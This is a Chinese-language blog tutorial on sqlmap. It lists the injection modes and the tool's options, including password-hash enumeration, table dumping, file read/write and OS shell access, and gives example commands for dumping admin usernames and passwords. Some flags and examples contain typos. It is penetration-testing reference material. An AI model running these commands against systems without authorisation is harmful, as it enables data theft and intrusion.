Sqlmap使用教程

克殼柯珂發表於2019-07-01

Sqlmap使用教程

Sqlmap簡介

注入模式

  • 基於布林的盲注:可根據返回頁面判斷條件真假的注入

  • 基於時間的盲注:不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷

  • 基於報錯注入:即頁面返回錯誤資訊,或者把注入的語句結構直接返回在頁面中

  • 聯合查詢注入:可以使用union注入

  • 堆查詢逐日:可以同時執行多條語句的執行時的注入

常用命令引數

  • -is-dba 當前使用者許可權(是否為root許可權)

  • -dbs 所有資料庫

  • -current-db 網站當前資料庫

  • -users 所有資料庫使用者

  • -current-user 當前資料庫使用者

  • -random-agent 構造隨機的user-agent

  • -password 資料庫密碼

  • -proxy http://local:8080 -threads 10 (可以自定義執行緒加速)代理

  • -time-sec=TIMESEC DBMS 響應的延遲時間(預設為5秒)

常用選項

Target(目標)

以下至少需要設定其中一個選項

  • -d DIRECT 直接連線到資料庫

  • -u url 目標的URL

  • -c configfile 從INI配置檔案中載入選項

  • -l LIST 從Burp或WebScarab代理的日誌中解析目標

  • -r REQUESTFILE 從一個檔案中載入HTTP請求

  • -g GOOGLEDORK 處理Google dork的結果作為目標URL

Request(請求)

這些選項可用來指定如何連線到目標URL

  • -data=DATA 通過post傳送的資料字串

  • -cookie=COOKIE HTTP Cookie頭

  • -cookie-urlencode URL編碼生成的cookie注入

  • -auth-type=ATYPE HTTP身份驗證型別(基本,摘要或NTLM)

  • -auth-cred=ACRED HTTP身份驗證憑據(使用者名稱:密碼)

  • -auth-cert=ACERT HTTP認證證照(key_file, cert_file)

  • -proxy=PROXY 使用HTTP代理連線到目標URL

  • -proxy-cred=PCRED HTTP代理身份驗證憑據(使用者名稱:密碼)

Enumeration(列舉)

可以用來列舉資料庫管理系統的資訊、表中的結構和資料

  • -b -bannner 檢索資料庫管理系統的標識

  • -current-user 檢索資料庫管理系統當前使用者

  • -current-db 檢索資料庫管理系統當前資料庫

  • -is-dba 檢測DBMS當前使用者是否DBA

  • -users 列舉資料庫管理系統使用者

  • -passwords 列舉資料庫管理系統使用者密碼雜湊

  • -privileges 列舉資料庫管理系統使用者的許可權

  • -roles 列舉資料庫管理系統使用者的角色

  • -dbs 列舉資料庫管理系統資料

  • -D DBname 要進行列舉的指定資料庫名

  • -T TBLname 要進行列舉的指定資料庫表

  • -tables 列舉的DBMS資料庫中的表

  • -columns 列舉DBMS資料庫表列

  • -dump 轉儲資料庫管理系統的資料庫中的表項

  • -dump-all 轉儲所有的DBMS資料庫表中的條目

  • -search 搜尋列(S)、表(S)和資料庫名稱(S)

  • -C col 要進行列舉的資料庫列

  • -U user 用來進行列舉的資料庫使用者

  • -exclude-sysdbs 列舉時排除系統資料庫

  • -level=LEVEL 執行測試的等級(1-5,預設為1,等級最低是,級別越高檢測越全面)

Brute force(蠻力)

這些選項用於蠻力檢查

  • -common-tables 檢查存在共同表

  • -common-columns 檢查存在共同列

File system access(訪問檔案系統)

這些選項可以用來訪問後端資料庫管理系統的底層檔案系統

  • -file-read=RFILE 從後端資料庫的管理系統檔案系統讀取檔案

  • -file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案

  • -file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑

Operating system access (作業系統訪問)

這些選項用於訪問後端資料庫管理系統的底層作業系統

  • -os-cmd=OSCMD 執行作業系統命令

  • -os-shell 互動式的作業系統的shell

  • -os-pwn 獲取一個OOB SHELL, meterpreter或VNC

  • -os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC

  • -os-bof 儲存過程緩衝區溢位利用

  • -priv-esc 資料庫程式使用者許可權提升

Windows登錄檔訪問

這些選項用來訪問後端資料庫管理系統windows登錄檔

  • -reg-read 讀一個windows登錄檔項值

  • -reg-add 寫一個windows登錄檔項值資料

  • -reg-del 刪除windows登錄檔鍵值

  • -reg-key=REGKEY windows登錄檔鍵

  • -reg-value=REGVAL windows登錄檔項值

  • -reg-data=REGDATA windows登錄檔值資料

  • -reg-type=REGTYPE windows登錄檔項值型別

Miscellaneous(雜項)

  • -batch 從不詢問使用者輸入,使用所有預設配置

  • -beep 發現SQL隱碼攻擊時提醒

常用命令

基本格式

#檢測全部的資料庫型別,預設級別為1

python sqlmap.py -u "url" -batch

#指定資料庫型別為MySQL,級別為3

python sqlmap.py -u "url" -dbms MySQL -level3

#當程式有防get注入的時候,使用cookie注入

python sqlmap.py -u "url" -cookie "id=11" -level 2

#從post資料包中注入

python sqlmap.py -r "path\file_name" -p "username" -dbms mysql

注入成功以後

#查詢有哪些資料庫

python sqlmap.py -u "url" -dbms mysql -level 3 -dbs

#查詢test資料庫中有哪些表

python sqlmap.py -u "url" -dbms mysql -level 3 -D tset -tables

#查詢test資料庫中admin表有哪些欄位

python sqlmap.py -u "url" -dbms mysql -level 3 -D test -T admin -columns

#dump出欄位username與password中的資料

python sqlmap.py -u "url" -dbms mysql -level 3 -D test -T admin -C "username,password" -dump

#從資料庫中搜尋欄位

python sqlmap.py -r "path\file_name" -dbms mysql -D test -search -C admin.password

說明:在test資料庫中搜尋admin和password欄位

本文參考連結:http://www.vluln.cn

相關文章